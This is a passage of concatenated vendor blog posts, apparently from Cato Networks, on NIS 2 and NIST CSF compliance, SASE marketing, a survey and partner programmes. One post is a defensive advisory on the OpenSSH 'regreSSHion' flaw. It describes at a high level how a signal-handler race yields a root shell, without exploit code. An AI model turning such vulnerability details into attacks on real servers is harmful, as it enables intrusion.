Important entities, on the other hand, include sectors such as digital providers and postal services , with a minimum of 50 employees and an annual turnover of €10 million. They will be subjected to audits only after an incident has occurred.
Figure 1- Organization Sectors impacted by NIS 2 (courtesy of nis2directive.eu)
Out of the 144 preambles, 46 articles, 3 annexes and more than 270 pages, organizations should focus on these key obligations:
Full accountability for outsourced services (Preamble 83)
Defined competencies for supervisors (Preamble 125)
Personal accountability at the C-suite level for approving cybersecurity measures and ensuring continuous training (Article 20)
Adopting technical, operational, and organizational measures (Article 21).
Mapping NIS 2 with the NIST Cybersecurity Framework
While NIS 2 sets forth comprehensive obligations, it lacks a clear list of actionable items. This is where adopting a security blueprint like the NIST Cybersecurity Framework (CSF) can help organizations prepare effectively for NIS 2 compliance.
Figure 2 - NIST cybersecurity frameworkä[3]
The framework’s core is organized around five key functions: Identify, Protect, Detect, Respond and Recover, along with CSF 2.0’s newly-added Govern function. When considered together, these functions provide a comprehensive view of the life cycle for managing cybersecurity risk.
Govern Function: this function provides outcomes to inform what an organization may do to achieve and prioritize the outcomes of the other five functions. It aligns with NIS 2 requirements for organizations to have appropriate management policies, in the context of its mission and stakeholder expectations.
Identify Function: controls for asset management, risk assessment, aligning with NIS 2's requirements for organizations to identify assets and assess their associated risks.
Protect Function: This includes controls related to identity management, access control, data and network security, zero trust, and multi-factor authentication. These controls align with the NIS 2 measures that must be taken by Member states to protect their critical infrastructure against identified risks.
Detect Function: The CSF's detect function includes controls for incident and anomaly detection, network monitoring, and supply chain security, aligning with NIS 2's requirement for early warning systems to detect incidents.
Respond Function: This function includes controls for incident response planning, communication, and coordination, ensuring organizations have plans to respond to incidents affecting critical infrastructure.
Recover Function: The recover function includes controls for business continuity and disaster recovery planning, ensuring organizations can recover from incidents affecting their critical infrastructure.
Challenges and Solutions
Organizations face several challenges in achieving NIS 2 compliance. These include monitoring blind spots, managing fragmented security solutions, dealing with alert fatigue, overcoming patch management backlogs, and addressing shadow IT. Moreover, coordination between network and security teams often poses delays in incident detection and response.
To address these challenges, a comprehensive approach leveraging the NIST CSF can provide detailed security controls mapping into NIS 2 requirements. These controls include using a single-pass software stack for full visibility of digital assets, automated device inventory dashboards, comprehensive risk assessment tools, and a unified management application for security and network incident detection and correlation.
Investing in trusted partners with ISO 27001 certification can also help manage supply chain security and governance, ensuring a reliable approach to cybersecurity. Continuous training, adopting zero trust models, and integrating advanced threat detection and response mechanisms are critical to meeting NIS 2 obligations.
In conclusion, while NIS 2 presents a complex set of requirements, adopting a cybersecurity blueprint like the NIST CSF can streamline compliance efforts and enhance the overall security posture of organizations. By focusing on comprehensive risk management, continuous monitoring, and robust incident response, organizations can set their cybersecurity house in order and mitigate the impact of potential cyber threats.
The right network and security platform can help
Cato Networks offers a comprehensive solution and infrastructure that can greatly assist companies in achieving NIS 2 compliance. By leveraging Cato’s Secure Access Service Edge (SASE) platform, organizations can enhance the security and resilience of their network and information systems.

CVE-2024-6387 OpenSSH RCE vulnerability (“regreSSHion”) – Cato Networks impact and analysis TL; DR – Multiple versions of OpenSSH are vulnerable to remote code execution. There is no working public PoC, and researchers have only been able to exploit the vulnerability under unique lab conditions.
Cato’s cloud infrastructure is NOT impacted
Cato Sockets use one of the vulnerable OpenSSH versions, patches containing an upgrade to the latest OpenSSH version are in testing phase and will be released to the field for all supported Socket platforms (physical & virtual) for the following Socket versions:Version 19 – last stable
Version 20 – latest
Cato Sockets by default do NOT have a publicly exposed SSH interface, it is always recommended to keep Cato Sockets LAN interface exposed only internally and use comprehensive network access controls to manage SSH access.
Vulnerability overview
Researchers from Qualys published their findings on July 1st, deeming it worthy of a name like all pet CVEs making big news in the industry, naming it “regreSSHion” due to it being caused by a previous fix in OpenSSH and causing this regression in the code.
OpenSSH is one of the most widely used suite of tools on Unix based systems, used all over the world for securing communications to servers over the internet, secure file transfers and more. It is considered one of the more secure applications in the Unix world, to quote the researchers from Qualys - “this vulnerability is one slip-up in an otherwise near-flawless implementation”, and CVEs such as this finding are very rare indeed.
Impacted OpenSSH versions are:
OpenSSH versions earlier than 4.4p1
OpenSSH versions between 8.5p1 and 9.7p1
* Versions between 4.4p1 and 8.5p1 (not inclusive) are not vulnerable due to previously applied patch for a different vulnerability (CVE-2006-5051).
In the present research published by Qualys, under lab conditions and only successful against a 32bit system, the attack on average takes 6 – 8 hours to succeed, likely increasing in several orders of magnitude on 64bit systems and was not demonstrated.
Analysis of the vulnerability
The vulnerability was introduced to newer OpenSSH versions in October 2020 and is tied to a code regression of CVE-2006-5051, which was fixed originally for version 4.4p1 and later an incorrect fix of another CVE brought this issue back (hence the regression) and made version starting from 8.5p1 vulnerable.
The exploit leverages a race condition in the signal handler of sshd, the server component of OpenSSH. If the client fails to complete the authentication process within LoginGraceTime (which by default is 120s or 600s depending on the version in use), then a SIGALRM signal is raised calling a signal handler which runs asynchronously, calling additional unsafe functions running under root privileges which the researchers were able to exploit to run arbitrary code and gain root shell access.
The researchers have used a uniquely crafted lab environment to prove the RCE, trying to circumvent multiple protections all modern operating systems employ to protect against access to running memory, e.g. ASLR.
In the lab, using a 32-bit server and a low-latency network connection, it took an average of 6 to 8 hours to obtain a root shell after approximately 10,000 connection attempts. On top of the very long time to exploit, the massive number of connections needed is likely to be flagged by different network monitoring systems and is an easy vector to identify and block.
The attack for the time being is extremely complicated to perform in real-world conditions, with mitigations such as using fail2ban and limiting public access to OpenSSH – which is ALWAYS recommended - making it nearly impossible to exploit.
Public exploitation & prevention
No indications of exploitation attempts targeting Cato customers were found. And while PoC code has surfaced with a claim to exploit the vulnerability, Cato’s security research team has determined that it is not in fact a viable exploit and would not result in an RCE, including tests performed on Cato Sockets internally. However, it does lay a good foundation for exploiting this vulnerability, and we expect more attempts to be released soon.
Cato’s security research team continues to analyze this threat to determine the possible exploitation avenues and how they meet existing prevention policies and introduce new logic to address the issue specifically.
Summary
A remote code execution in multiple versions of OpenSSH was discovered, there is no working public PoC available and exploitation in real-world conditions is impractical to near impossible.
Nonetheless due to the high profile of the CVE and quickly evolving landscape, if an exploit PoC surfaces in the future it is important that all systems are patched. Just as important are strict network access controls limiting public SSH access, including of course Cato Sockets which should never be internet facing on the management side.

Cato Networks recognized as a Leader in the 2024 Gartner® Magic Quadrant™ for Single-Vendor SASE Report SASE is all about strategically solving business problems. The systematic removal of technology barriers standing in the way of business outcomes. It is a brand new “how” (platform) for a well-known “what” (features).
When we started Cato Networks in 2015, we were immersed in skepticism. Can you actually build a cloud network that will replace MPLS circuits with decades of proven reliability? (We did.) Can you really build a cloud-native next-gen firewall and powerful threat prevention that can displace the industry’s leading incumbents? (We did.) Can you innovate fast enough in AI and data protection to close feature gaps with veteran pure-play vendors, and even gain competitive advantage over them? (We did.)
Almost ten years in, one of the things that makes Cato Networks unique is being defiant. Defiant against decades of point products trying to solve point problems. Defiant against the assumption that complexity is inevitable. Defiant against the perception that “it was always done that way”.
With the Gartner most recent recognition of Cato Networks as a Leader in the 2024 Gartner® Magic Quadrant™ for Single-Vendor SASE Report, we believe that our vision aligned with what customers really needed. I am even more proud of our perseverance during this journey, staying focused on what drives value and outcomes, even when facing legacy vendors and legacy state-of-mind headwinds.

Building it right from the start
As we built the Cato SASE Cloud Platform over the years, and onboarded thousands of enterprise customers and partners, we followed these core principles:
True Convergence. The technical capabilities the platform delivers (e.g. SD-WAN, FWaaS, SWG, CASB, DLP, ZTNA, XDR, etc.) are built as one, act as one, and are consumed as one. There is one policy engine that does everything customers expect from networking and network security solutions. There is one data lake storing all events with a single, shared context. There is one management interface and API for configuring, managing, and monitoring the enterprise infrastructure. It is not a “bolt on” integration of portfolio products and acquisitions, and it is not a ‘management of managements’.
Consistency. SASE is meant to serve all enterprise edges: sites, datacenters, clouds, and remote users – wherever they are. All of Cato’s 90+ PoPs are symmetrical and have the exact same capabilities. Cato Networks customers are confident knowing that wherever they are today, and wherever they may expand to in the future, they will not have to compromise on performance, security, or productivity.
Autonomous operation. SASE is expected to be trusted as the enterprise’s new critical infrastructure, promising to offload maintenance and operational grunt work from IT teams, freeing them to focus on enabling business growth and outcomes. We built the Cato SASE Cloud Platform to transparently scale as customers grow, seamlessly overcome component failures, and effortlessly sustain optimal security posture and peak performance - so our customers would have so much less to worry about.
Customers know when you get it
What used to be a disruptive vision is now the mainstream.
SASE is one of the fastest growing markets in IT, and leading players in networking, network security, cloud security, and data security are trying to find their way into it. Some take a path of partnerships, some acquire companies and integrate them, some develop new technologies in-house, and some still focus on positioning rather than building.
Customers want hard proofs. When you promise true convergence – they want to see it to believe it. When you speak about consistency – it needs to be demonstrated. When you tell them you can offload grunt work to help them become champions in their organization – they ask to speak with reference customers to verify it.
The Cato SASE Cloud Platform has repeatedly proven it does what it says on the tin, and our customers are voluntarily vocal about it. They speak publicly about the change Cato Networks is making and about the difference from legacy vendors and other SASE providers. You can read the reviews of our product on the Gartner Peer Insights page.
To date, Cato Networks has thousands of customers and partners that share our vision and support our journey to transform the IT industry.
From a revolution to an evolution
“Don’t you know, they're talking about a revolution. It sounds like a whisper” sings Tracy Chapman in one of her greatest songs. Sometimes, there is a delicate, almost unnoticed, tremble that makes you feel something is about to happen. Cato Networks was that tremble 10 years ago. Gartner’s 2024 Magic Quadrant for Single-vendor SASE, and Cato Networks' recognition as a Leader in it, according to us, is the living proof SASE is no longer a whisper, and that a new era is upon us.
Cato Networks. We Are SASE.
2024 is expected to be another year of strong growth in the SASE market. Dell’Oro Group predicts the SASE market will surpass $10 billion by... Read ›
Cato Survey: Remote Access Issues and Need for Increased Visibility Continue to Drive SASE in 2024 2024 is expected to be another year of strong growth in the SASE market. Dell’Oro Group predicts the SASE market will surpass $10 billion by the end of the year “representing more than a doubling of the total market in three years,” according to Mauricio Sanchez, Senior Research Director of Dell’Oro Group. Gartner expects the market for SASE to reach $25 billion by 2027. What’s driving this trend? Sanchez attributes it to the ongoing “transformation of the Enterprise to align with the new normal of hybrid work and cloud-based applications.”
Sanchez isn’t alone in that assessment. Cato Networks’ latest survey of 1,069 IT leaders also found the new normal around hybrid work to still be challenging for legacy network and security infrastructure.
Four years after the pandemic forced companies to go remote, securing remote users in particular is still challenging. Respondents indicated that enabling remote access from anywhere and adopting zero-trust security posture for all access were two of the top three challenges of the current network and security architecture. A majority (58%) indicated the increased remote work and mobile workforce is a top factor that’s driving organizations’ need for zero-trust security.
According to a Deloitte survey, 80% of global organizations still allow employees some level of remote and hybrid work options. As the work environment remains highly distributed, it’s clear that organizations are still reckoning with developing and executing a secure remote access strategy that provides the same level of security protections that workers have in the office.
Some organizations have continued to rely upon legacy network solutions based on VPN. The trouble with VPNs is that users implicitly gain access to everything on the same subnet. As one respondent pointed out: “We were using a traditional security model that relied on a VPN to secure our network. However, this model did not provide the level of security we were looking for.”
ZTNA flips that paradigm. Users can only “see” the specific applications and resources explicitly permitted by their company’s security policy. So, it’s unsurprising that 43% of respondents identified remote access VPN refresh as the trigger for starting a SASE transformation project. One respondent elaborated: “Our organization decided to switch to a SASE model, which provided us with a more comprehensive security solution. With SASE, our organization was able to implement a zero-trust security model, which helped us to improve our security posture.” Transitioning from outdated solutions to SASE models facilitates zero trust maturity, while also protecting access at the edges, including sites, mobile users and devices, and enterprise and cloud resources. This transition enables enterprises to move from disjointed IT architectures to converged security platforms.
SASE increases visibility, reduces complexity and costs
Just as SASE models are empowering organizations by increasing network security, so too is this technology enabling comprehensive visibility and control in a complex landscape. More than half (55%) of respondents indicated that sensitive data visibility and control plus threat protection is a key challenge of organizations’ current network and security infrastructure. Why? Increased adoption of remote work, cloud computing, and disruptive technologies like generative artificial intelligence (AI) are all creating new data security risks—leaving organizations vulnerable to data breaches and regulatory noncompliance.
Further challenging organizations’ ability to maintain comprehensive data visibility and control are the stacks of disjointed point solutions and security appliances that they lean on. In fact, 42% of respondents identified consolidating vendors and reducing costs and complexity as a key challenge of current network and security architectures. Unlike point solutions, SASE platforms are fully converged, giving IT teams a single, shared context to better see and understand enterprise networks, prevent threats, and resolve problems. Indeed, one participant stated that SASE provides “more of a holistic viewpoint that gives us overall visibility not seen before.”
Not only is SASE adoption increasing visibility and control by providing a single pane of glass, but it’s also reducing costs. One survey participant reported that “the annual savings for us was over $250,000.” The savings was “substantial” for the respondent’s organization. As the World Economic Forum finds that more than half of chief economists anticipate the global economy to weaken in 2024, organizations face another year of economic uncertainty. It’s crucial that IT leaders can implement ways to reduce costs without compromising network security.
Shlomo Kramer, CEO and co-founder of Cato Networks, said it best: “SASE continues to be the antidote to security complexity." SASE’s ability to give IT teams a single, shared context worldwide to understand their networks, prevent threats, and resolve problems makes it no wonder why nearly 70% of respondents have already deployed or plan to deploy SASE in the coming years.

Unleashing SASE for All: Empowering the Channel Ecosystem Business The concept of Secure Access Service Edge (SASE) promised a revolution in network security. Its core intent: to simplify the deployment and consumption of both networking and security functions. However, does the reality really live up to the initial hype?
The Intent Behind SASE
SASE is meant to streamline the delivery of network security functions, boosting efficiency and reducing complexity for organizations. Traditional approaches often involve a fragmented array of point products, each addressing a specific aspect of security or networking. This fragmentation not only complicates the management but also undermines the overall efficiency and security posture of organizations. SASE seeks to address these issues by converging various functions—such as SD-WAN, secure web gateways, cloud access security brokers (CASB), and zero-trust network access (ZTNA)—into a single, cohesive platform. The goal is to provide a more integrated, simpler, and scalable solution that meets the dynamic needs of today's businesses.
The Search for True SASE
Many vendors, in the race to capitalize on the SASE gold rush, have simply stitched together existing point products. This creates a situation where complexity lurks beneath the surface of a supposedly unified solution. Acquisitions haven't helped either, as vendors wrestle with integrating multiple management systems, further adding to the confusion.
What's missing is a true SASE platform, one designed from the ground up for the convergence of networking and security. This platform needs to be cloud-native to handle the ever-increasing demands of bandwidth and innovation. Cloud-native services are able to leverage automatic updates and security patches, ensuring enterprise networks are always up-to-date. This eliminates the need for manual, often procrastinated, updates on physical appliances, saving time and minimizing security risks. Legacy vendors simply can't compete with this vision.
Trying to find SASE & Deliver It
Even if a "true" SASE platform emerges, the question of delivery remains. Large enterprises with vast resources might enjoy the luxury of direct vendor SASE services. However, the vast majority – including a significant portion of large enterprises themselves – rely on channel partners to access and implement these solutions. These partners, be they Service Providers (SPs), Global System Integrators (GSIs), Managed Service Providers (MSPs), or Value-Added Resellers (VARs), have faced their own challenges in delivering SASE efficiently and profitably to their diverse customer base. The challenges still come down to complexity in stitching together multiple point products, visibility into delivery of performance (and the opportunities of upsell), the ability to deliver value-added services, and, frankly, the “how” of everything SASE.

Cato’s game-changing MSASE Partner Platform: Because service providers also needed a break Managed service providers tell us they see great opportunity from so many businesses migrating to SASE. But many struggle to take advantage of it. Why is that?
In this post, we’ll examine why service providers can find it hard to build a Managed SASE (MSASE) service, and four things they need when launching one. We’ll explain how Cato is leveraging nearly 10 years of experience leading SASE, to disrupt the channel with a game-changing platform that helps service providers deliver managed SASE services. If you’re planning to launch MSASE, this post is for you!
What’s so hard about delivering a Managed SASE service?
SASE is the convergence of networking and security: from point products into a single service. SASE promised to make it easier for businesses to consume, and for service providers to deliver. But for many service providers, SASE has not proven simple to deliver at all. Why is that?
MSASE service providers build their services around a vendor’s SASE product. But many SASE vendors didn’t build a single converged SASE software stack from the ground up. Instead, they used point products, or legacy hardware solutions ported to virtual machines, or disparate software from the many companies they acquired.
These point products each require separate installation, configuration, maintenance, monitoring, and software upgrades. They might require identities and policies to be defined in multiple places, perhaps in multiple consoles. The effort and complexity leave little room to focus on delivering great customer service, making it hard to build a managed service and to integrate it with existing services.
A four-point plan for great Managed SASE service
After years of working with MSASE service providers, we identified four key requirements that every provider needs when they launch a Managed SASE service.
They want to offer a differentiated service.
This doesn’t just mean the very best underlying product. It also means the managed service they wrap around it. They want the vendor to do the daily maintenance work, allowing them to focus on excellent customer service. And they want tools to help them manage a large base of customers well.
They want to get to market fast.
It’s a tough gig launching a Managed SASE service. Providers who didn’t previously offer both network and security, can lack skills, processes, knowledge, tools and content in key areas. These can be expensive and time-consuming to develop. Many want help to build those procedures, documents and collateral, and to train staff.
They want to sell, deliver and monetize deals fast.
Time is money. They want help to find leads, to convert them to opportunities, to close them, to deliver them and to bill for them … fast. They want to price fast, without waiting for their vendor. They want help to convince customers that their service is the best. They want to deploy, configure, test and bill services fast.
They want to maximize profitability
They want a great cash flow, by avoiding up-front hardware costs. They want to run their services with as few staff as possible. If they’re adding network or security for the first time, they may want to delay hiring expensive new staff until they have customers on board. And they want tools to help them see which customers they should upsell, and which customers they need to retain.
A game-changer in networking and security: Cato’s MSASE Partner Platform
It’s challenging to launch an MSASE service and make it successful. There’s so much to do, and vendors with point products can make things more difficult. Service Providers need help!
So, let’s talk about how Cato can help. Our mission is to create world-class networking and security solutions for everyone. And our mission for partners is to enable world-class managed SASE services.
To achieve this mission, we recently launched the Cato MSASE Partner Platform: a commercial and technical framework to help partners deliver managed SASE services.
We don’t think we’re being immodest when we say this will be a game-changer for the channel. Nobody has gone this far to help partners create the best possible managed service and then to launch it fast, to sell and deploy fast, and to maximize profitability.
Cato’s MSASE partner platform is here to help partners with their four key requirements.
First, we help partners offer a truly differentiated service: by giving them our converged, cloud-native platform; by allowing them to focus on service while we handle maintenance and upgrades; and by allowing them to manage efficiently with a multi-tenant, partner-brandable platform.
We help them get to market fast: using our know-how, tools, collateral, training, sales support and marketing support.
We help them to win and deploy deals fast: with test drives, proven proof-of-concept templates (70% win rate!), with quoting independence, and with features to deploy and configure quickly.
And finally, we help them to be more profitable: with a capex-free service to ease cash flow, AI to make NOC and SOC teams more efficient, optional managed services to let them launch now and invest in hiring staff later, and tools to help manage upsells and re-signs.
If you’re an MSP, GSI or carrier, looking to launch or improve your Managed SASE service, talk to us!
When you build a Managed SASE service with Cato, our MSASE Partner Platform will help you to deliver the best possible experience, launch it quickly, win and deploy deals fast, minimize the effort to run the service and maximize profitability.

Addressing CxO Questions About SASE A New Reality
The nature of the modern digital business is constantly and rapidly evolving, requiring network and security architectures to move at the same speed. Moving at the speed of business demands a new architecture that is agile, flexible, highly scalable, and very secure to keep pace with dynamic business changes. In short, this requires SASE. However, replacing a traditional architecture in favor of a SASE cloud architecture to meet these demands can introduce heart-stopping uncertainty in even the most forward-thinking CxOs.
Most CxOs understand what SASE delivers; some can even envision their SASE deployment. However, they require more clarity about SASE approaches, requirements, and expectations. The correct SASE decision delivers long-term success; conversely, the wrong decision adversely impacts the organization. Avoiding this predicament requires due diligence, asking tough questions, and validating their use cases and business objectives.
Understanding the right questions to ask requires understanding the critical gaps in the existing architecture to visualize the desired architecture. Asking the right questions requires clarity on the problems the business is trying to solve. Considerations like new security models, required skills, or potential trade-offs should be addressed before any project begins.
We’ll answer some of those questions and highlight how the right SASE cloud solution delivers benefits beyond architectural simplicity and efficiency.
Answering CxO Questions
Determining which questions are relevant enough to influence a buying decision and then acting on them can be exhausting. This blog addresses those concerns to clarify SASE’s ability to solve common use cases and advance business goals. While the following questions only represent a small set of the possible questions asked by CxOs, they help crystalize the potential of a SASE Cloud solution to address critical questions and use cases while assuaging any concerns.
Does this fit our use cases, and what do we need to validate?
A key decision point for many CxOs is whether or not the solution solves their most pressing use cases. So, understanding what’s not working, why it’s not working, and what success looks like when it is working provides them with their north star, per se, as guidance. One would assume that answering this question is quite easy; however, looking closer we find the answers are rather subjective.
Through our engagements with customers, we’ve found that use cases tend to fall into one of three broad categories:
1. Network & security consolidation/simplification
Point solutions to address point problems yields appliance sprawl. This has created security gaps and sent management support costs through skyrocketing. This makes increasing IT spending harder to justify to the board, pushing more CxOs to explore alternatives amid shrinking budgets.
SASE is purpose-built to consolidate and simplify network and security architectures. The right SASE Cloud solution delivers a single, converged software stack that consolidates network, access, and security into one, thus eliminating solution sprawl and security gaps. Additionally, it eliminated day-to-day support tasks, thus delivering a high ROI.
2. Secure Access/Work-From-Anywhere
Covid-19 accelerated a new working model for modern digital enterprises. Hybrid work became the rule more than an exception, increasing secure remote access requirements.
SASE makes accommodating this and other working model easy to facilitate while ensuring productivity and consistent security everywhere.
3. Cloud Optimization & Security
As hybrid and multi-cloud becomes a core business & technology strategy, performance and security demands have increased. Organizations require compatible performance and security in the cloud as they received on-premise.
SASE improves cloud performance and provides consistent security enforcement for hybrid and multi-cloud environments.
The right SASE cloud approach addresses all common and complex use cases, thus becoming a clear benefit for modern enterprises.

How can we align architecturally with this new model? What will our IT operations look like? Can we inspire the team to develop new skills to fit this new IT model?
When moving to a 100% cloud-delivered SASE solution, it is logical to question the level of cloud expertise required. Can IT teams easily adapt to support a SASE cloud solution? How can we efficiently align to build a more agile and dynamic IT organization?
The average IT technologist joined the profession envisioning strategic thought-provoking projects that challenged their creative and innovative prowess. SASE cloud solutions enable these technologists to realize this vision while allowing organizations to think differently about how IT teams support the overall business. Traditional activities like infrastructure and capacity planning, updating, patching, and fixing now fall to the SASE cloud provider since they own the network infrastructure. Additionally, SASE cloud strengthens NOC and SOC operations with 360-degree coverage for network and security issues. The right SASE cloud platform offloads these mundane operational tasks that typically frustrates IT personnel and leads to burn out.
IT teams can now focus on more strategic projects that drive business by offloading common day-to-day support tasks to their SASE Cloud provider.
How can all security services be effectively delivered without an on-premises appliance? What are the penalties/risks if done solely in the cloud?
Traditional appliances fit nicely into IT comfort zones. You can see it and touch it, so moving all security policies to the cloud can be scary. Some will question if it makes sense to enforce all policies in the cloud and whether this will provide complete security coverage. These questions try to make sense of SASE, highlighted by a fear of the architectural unknown.
There is a reason most CxOs pursue SASE solutions. They’ve realized that current network architectures are unsustainable and require a bit of sanity. The right SASE Cloud platform provides this through the convergence of access, networking, and security into a single software stack. All technologies are built into a single code base and collaborate to deliver more holistic security. And, with a global private network of SASE PoPs, SASE Cloud delivers consistent policy enforcement everywhere the user resides. This simple method of delivering Security-as-a-Service makes sense to them.
What will this deployment journey be like, and how simple will it be?
Traditional network and security deployments are extremely complex. They require hardware everywhere, extended troubleshooting, and other unknown risks. These include integrating cloud environments; ensuring cloud and on-premise security policies are consistent; impact on normal operations; and licensing and support contracts, just to name a few.
Mitigating risks inherent with on-premises deployments is top-of-mind for most CxOs. SASE cloud solution deployments are straightforward and simple with most customers gaining a very clear idea of this during their POC. The POC provides customers with deep insight into common SASE cloud deployment practices and ease of configuration, and they gain clarity for their journey based on their use cases. Best of all, they see how the solution works in their environment and, more importantly, how the SASE cloud solution integrates into their existing production network. This helps alleviate any concerns for their new SASE journey.
What, if any, are the quantitative and qualitative compromises of SASE? How do we manage them?
CxOs face daunting, career-defining dilemmas when acquiring new technologies, and SASE is no different. They must determine how to prioritize and find necessary compromises when needed. Traditional solution deployments are sometimes accompanied by unexpected costs associated with ancillary technology or resource requirements. For example, how would they manage a preferred solution if they later find it unsuitable for certain use cases? Do they move forward with their purchase? Do they select another knowing it may fail to address a different set of use cases?
While priorities and compromises are subjective, it helps to identify potential trade-offs by defining the “must-have”, “should-have”, and “nice-to-have” requirements for a particular environment. Working closely with your SASE cloud vendor during the POC, you will test and validate your use cases against these requirements. In the end, customers usually find that the right SASE cloud solution will meet their common and complex access, network, and security use cases.
How do we get buy-in from the board?
SASE is just as much a strategic business conversation as an architectural one. How a CxO approaches this – what technical and business use cases they map to, their risk-mitigating strategy, and their path to ROI – will determine their overall level of success. So, gaining board-level buy-in is an important and possibly, the most critical part of their process.
CxOs must articulate the strategic business benefits of converging access, networking, and security functions into a single cloud-native software stack with unlimited scalability to support business growth. An obvious benefit is how SASE accelerates and optimizes access to critical applications and enhances security coverage while improving user experiences and efficiency. CxOs can also consult our blog, Talk SASE To Your Board, for board conversation tips.
Cato SASE Cloud is the Answer
A key advantage of Cato SASE Cloud is that it solves the most common business and technical use cases. Mapping the SASE cloud solution into these use cases and testing them during a POC will uncover the must/should/nice-to-have requirements and help customers visualize solving them with a SASE cloud solution.
CxOs and other technology business leaders will naturally have questions about SASE and how to approach potential migration. SASE changes the networking and security game, so embarking upon this new journey requires changing minds. Cato SASE Cloud represent the new secure digital platform of the future that is best positioned to allow enterprises to experience business transformation without limits.

A CxO’s Guide: Tough Questions to Ask When Moving to SASE Making the Paradigm Shift
A paradigm shift away from traditional network and security architectures towards a more flexible and highly scalable cloud-native SASE Cloud architecture can be stomach-churning for many CxOs today. However, taking a holistic view of the drivers of this shift will help put things into perspective. Realizing desired outcomes like the reallocation of resources to more strategic initiatives, agility, speed, and scalability can bring about child-like anticipation of how this new world of SASE will feel.
Before CxOs achieve technology nirvana, however, they must take a few logical steps, and asking tough questions to understand the problem statements and desired outcomes is an important part of this. To better frame this picture, we’ve discussed this with a few of our customers to understand their thought processes during their SASE journey.
Define The Problem Statement
Organizations arrive at SASE decisions from different vectors. For some, it’s as easy as upgrading their WAN connectivity and adding better security. For others, it is exploiting a refresh cycle to explore “what’s next”. Whatever the drivers, understanding the true problems is essential for proper outcomes.
A simple problem statement might be, “Our network is a mess, so we need a different approach to this refresh cycle. Do we have the talent to pull it off?” This identifies two problems to solve: network performance and reliability, and the skillset deficit. Another problem statement might be, “Our current tools are too expensive to maintain, and we need more value for the money we spend.” This implies that managing network and security tools, equals more time spent on mundane support tasks than strategic projects.
While these statements are rather generic, they are no less real-world for most CxOs. Identifying the true problem statement can be exhaustive; however, this is the first step toward understanding the right questions to ask.
“The steep learning curve on our firewalls meant we were not getting value on the high costs we were paying. We needed a simpler, well-designed solution that our teams could more easily learn and manage.”
~ Joel Lee, CIO @ an Asia-Based Construction Firm
Ask The Tough Questions
Determining which questions are relevant enough to influence a buying decision and asking them can also be exhausting. Not all tough questions are relevant questions, and vice versa. Additionally, all questions must derive from the problem statements specific to your business situation. The following were the top questions our CxOs tend to ask:
1. Does this fit our use cases, and what do we need to validate?
“What problems are we trying to solve, and how should we approach this?” By asking this question of their teams, CxOs are basically asking what is not working, why it’s not working, and what success looks like when it is working. On the surface, it seems easy to answer; however, when digging deeper, many organizations find this to be a daunting question because the answer is sometimes a moving target and is almost always subjective.
2. Do we have the right skills?
When moving to a 100% cloud-delivered SASE solution, it is logical to question the level of cloud expertise required. However, a major relief for CxOs is realizing that their teams could easily be trained for a SASE Cloud solution. Additionally, they realize their teams have more time to expand other technical skills that benefit the broader organization. This allowed them to re-frame the question to, “what additional skills can we learn to build a more agile and dynamic IT organization?”
3. SD-WAN makes sense, but SASE? How will all security services be delivered without an on-prem device? What are the penalties/risks if done solely in the cloud?
Traditional appliances fit nicely inside the IT happy place – an on-prem appliance with all configurations close by. So, can we really move all policy enforcement to the cloud? Can a single security policy really give us in-depth threat prevention? These questions try to make sense of SASE, highlighted by a fear of the architectural unknown. However, existing complexity is why these CxOs wanted to inject sanity and simplification into their operations. Security-as-a-Service delivered as part of a SASE Cloud made sense for them, knowing they get the right amount of security when needed.
4. What will the deployment journey be like, and how simple will it be?
Traditional infrastructure deployments require appliances everywhere, months and months of deployment and troubleshooting, multiple configurations, and various other risks that may not align with business objectives. This is a common mindset when pursuing SASE, and CxOs want to understand the overall logistics – “Will our network routing be the same? Will our current network settings be obsolete? Where will security sit? How will segmentation work? Is it compatible with my clouds, and how will they connect? Who supports this and how?” This is just a tiny subset of items to understand, intending to set proper expectations.
5. What are the quantitative and qualitative compromises?
CxOs need to understand how to prioritize and find compromises where needed. Traditional costs often exceed the monetary value and can veer into architecture and resource value. So, an effective approach proposed was using the 80/20 rule on compromises – what are my must-have, should-have, and could-have items or features? Answering this begins with knowing where the 80/20 split is. For example, if the solution solves 80% of your problems and leaves 20% unsolved, what is the must-have, should-have, and could-have of the remaining 20%?
How do you determine which is which?
How would you solve the must-haves differently inside the same architecture?
How will you adapt if an architectural could-have unexpectedly evolves into a must-have?
6. How do we get buy-in from the board?
SASE is just as much a strategic conversation as it is an architectural one. How a CxO approaches this – what technical and business use cases they map to, and their risk-mitigation strategy – will determine their overall level of success. So, gaining board-level buy-in was a critical part of their process. There were various resources that helped with these conversations, including ROI models. CxOs can also consult our blog, Talk SASE To Your Board, as another valuable resource that may assist in these conversations.
“What does this convergence look like, and how do we align architecturally to this new model?”

Mitigate Internal Resistance
Any new project that requires a major paradigm shift will generate resistance from business and IT teams. Surprisingly, our panel experienced very little resistance when presenting SASE to their teams. Each anticipated potential resistance to budgets, architecture change, resource allocations, etc. They determined what could and could not be done within those constraints and addressed them far in advance. This helped mitigate any potential resistance and allowed them to ease all concerns about their decision.

What Other CxOs Can Learn
Transitioning to SASE requires time and planning, like any other architecture project. Keys to making this successful include understanding your problem statement, identifying your outcomes, and learning from your peers. This last point is key because SASE projects, while relatively new, are becoming more mainstream, and the following advice should make any SASE journey much smoother.
Planning Your Project
Have a clear vision and seek upfront input from business and technical teams
Have a clear understanding of your “as-is” and “to-be” architecture
Don’t jump on the bandwagon – know your requirements and desired outcomes
Conduct Thorough Research
Do a detailed analysis of the problem, then do your market research
Understand Gartner’s hype cycle, roadmaps, predictions, etc.
Never stop researching solutions until your goals are finalized
You may discover something you needed that you did not realize - extended value
Evaluate The Solution and Vendor
Develop a scoring mechanism to evaluate vendor technology and performance
Understand your compliance requirements (NIST, PCI-DSS, ISO, GDPR, etc.) and how the solution will enable this
Examine their approach to delivering your outcomes, and pay attention to onboarding, training, and ongoing support
Be Confident in Your Decision
Don’t focus solely on costs
Examine the true value of the solution
Understand the extended costs of each solution – SLAs, ongoing maintenance, patching, fixing, scalability, refresh cycles, etc.
Be honest with yourself and your vendor and remain focused on your outcomes.
This approach benefitted our CxOs and guided them toward the Cato SASE Cloud solution.
“Know what you want to achieve upfront, then stay focused but flexible. Pay attention to skills and capacity requirements.”
~ Stuart Hebron, Group CIO, Tes
Make the SASE Decision
